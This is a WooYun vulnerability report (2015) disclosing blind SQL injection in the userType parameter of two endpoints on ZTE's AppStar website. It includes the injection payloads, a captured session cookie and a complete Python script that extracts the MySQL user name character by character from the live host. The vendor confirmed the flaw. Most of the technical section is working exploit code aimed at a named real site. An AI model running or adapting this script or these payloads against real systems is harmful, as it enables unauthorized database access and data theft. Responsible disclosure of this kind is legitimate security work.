当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094222

漏洞标题:中兴应用之星盲注(一)

相关厂商:中兴通讯股份有限公司

漏洞作者: BMa

提交时间:2015-01-27 18:30

修复时间:2015-03-13 18:32

公开时间:2015-03-13 18:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-01-29: 厂商已经确认,细节仅向厂商公开
2015-02-08: 细节向核心白帽子及相关领域专家公开
2015-02-18: 细节向普通白帽子公开
2015-02-28: 细节向实习白帽子公开
2015-03-13: 细节向公众公开

简要描述:

中兴应用之星盲注(一)两枚

详细说明:

1、

url:http://www.appstar.com.cn//appstar/manage/queryAceAppShow.action
post:appIndex=0&applimit=7&appType=0&isAce=1&rnd=0.12041312991641462&userType=0 and ascii(MID(version(),1,1))=53


参数:userType
2、

http://www.appstar.com.cn/appstar/manage/queryAceTemp.action
post:appIndex=0&applimit=7&appType=1&isAce=1&rnd=0.46515097096562386&userType=1


参数:userType
cookie:

Hm_lvt_b2d6cc3870d8c6523fc919a188c8c527=1422321865,1422322129,1422322227,1422337215; JSESSIONID=8A2FFF839FD24601AB1F4AC83C8790DB; Hm_lpvt_b2d6cc3870d8c6523fc919a188c8c527=1422350109; www.appstar.com.cn.ace=4d6a41784e5441784d6a63774f5455314d413d3d3a65343562663037653936626138393134303839646630306364393466323462623a31343233353436323739303434


上图:

appstar.png


userType-0.png


userType-1.png


当正确时返回较多的数据

userType-2.png


user():

userType-3.png


数据库:

userType-4.png


工具死都跑不出来,没办法,只要自己写脚本跑,附脚本:

#!/usr/bin/python
#coding:utf_8
import httplib
import time
import urllib
import sys
headers = {"Content-type": "application/x-www-form-urlencoded",
'Accept-Language':'zh-CN,zh;q=0.8',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0)',
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Cache-Control": "no-cache"}
post_data = {"appIndex":'0',
"applimit":'7',
"appType":'0',
"isAce":'1',
"rnd":'0.12041312991641462'
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
base_url = "/appstar/manage/queryAceAppShow.action"
user = ''
def sql():

global post_data
global user

cookie = raw_input("pls input your cookie:")
headers["Cookie"] = cookie

for i in range(1,22):
for payload in payloads:
getuser = "0 and ASCII(MID(user(),%d,1)) = %s" % (i,ord(payload))
post_data["userType"] = getuser

postdata = urllib.urlencode(post_data)
conn = httplib.HTTPConnection('www.appstar.com.cn',80,timeout=60)
conn.request('POST', base_url, postdata, headers)
html_contet = conn.getresponse().read().decode('utf-8')
# print html_contet

if html_contet.find('CPId') > 0:
user += payload
sys.stdout.write('\r[In Progress' + user)
sys.stdout.flush()
break
else:
print 'WAITING...'
if __name__ == "__main__":
sql()
print '\n[Done]MySQL user is ' + user
print time.strftime('%H:%M:%S', time.localtime())

漏洞证明:

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-29 17:18

厂商回复:

感谢~

最新状态:

暂无